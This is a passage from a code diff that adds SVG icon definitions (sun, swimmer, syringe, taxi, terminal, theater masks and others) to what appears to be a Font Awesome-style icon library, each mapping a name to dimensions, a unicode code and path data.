21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z" ], + sun: [ 512, 512, [], "f185", "M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z" ], + superscript: [ 512, 512, [], "f12b", "M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z" ], + surprise: [ 496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + swatchbook: [ 512, 512, [], "f5c3", "M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z" ], + swimmer: [ 640, 512, [], "f5c4", "M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z" ], + "swimming-pool": [ 640, 512, [], "f5c5", "M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z" ], + synagogue: [ 640, 512, [], "f69b", "M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z" ], + sync: [ 512, 512, [], "f021", "M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z" ], + "sync-alt": [ 512, 512, [], "f2f1", "M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z" ], + syringe: [ 512, 512, [], "f48e", "M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z" ], + table: [ 512, 512, [], "f0ce", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z" ], + "table-tennis": [ 512, 512, [], "f45d", "M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z" ], + tablet: [ 448, 512, [], "f10a", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "tablet-alt": [ 448, 512, [], "f3fa", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z" ], + tablets: [ 640, 512, [], "f490", "M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z" ], + "tachometer-alt": [ 576, 512, [], "f3fd", "M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + tag: [ 512, 512, [], "f02b", "M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z" ], + tags: [ 640, 512, [], "f02c", "M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z" ], + tape: [ 640, 512, [], "f4db", "M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z" ], + tasks: [ 512, 512, [], "f0ae", "M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z" ], + taxi: [ 512, 512, [], "f1ba", "M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + teeth: [ 640, 512, [], "f62e", "M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z" ], + "teeth-open": [ 640, 512, [], "f62f", "M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z" ], + "temperature-high": [ 512, 512, [], "f769", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z" ], + "temperature-low": [ 512, 512, [], "f76b", "M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z" ], + tenge: [ 384, 512, [], "f7d7", "M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z" ], + terminal: [ 640, 512, [], "f120", "M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z" ], + "text-height": [ 576, 512, [], "f034", "M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z" ], + "text-width": [ 448, 512, [], "f035", "M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z" ], + th: [ 512, 512, [], "f00a", "M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z" ], + "th-large": [ 512, 512, [], "f009", "M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z" ], + "th-list": [ 512, 512, [], "f00b", "M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zm80 448H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm-24-424v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24zm24 264H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24z" ], + "theater-masks": [ 640, 512, [], "f630", "M206.86 245.15c-35.88 10.45-59.95 41.2-57.53 74.1 11.4-12.72 28.81-23.7 49.9-30.92l7.63-43.18zM95.81 295L64.08 115.49c-.29-1.62.28-2.62.24-2.65 57.76-32.06 123.12-49.01 189.01-49.01 1.61 0 3.23.17 4.85.19 13.95-13.47 31.73-22.83 51.59-26 18.89-3.02 38.05-4.55 57.18-5.32-9.99-13.95-24.48-24.23-41.77-27C301.27 1.89 277.24 0 253.32 0 176.66 0 101.02 19.42 33.2 57.06 9.03 70.48-3.92 98.48 1.05 126.58l31.73 179.51c14.23 80.52 136.33 142.08 204.45 142.08 3.59 0 6.75-.46 10.01-.8-13.52-17.08-28.94-40.48-39.5-67.58-47.61-12.98-106.06-51.62-111.93-84.79zm97.55-137.46c-.73-4.12-2.23-7.87-4.07-11.4-8.25 8.91-20.67 15.75-35.32 18.32-14.65 2.58-28.67.4-39.48-5.17-.52 3.94-.64 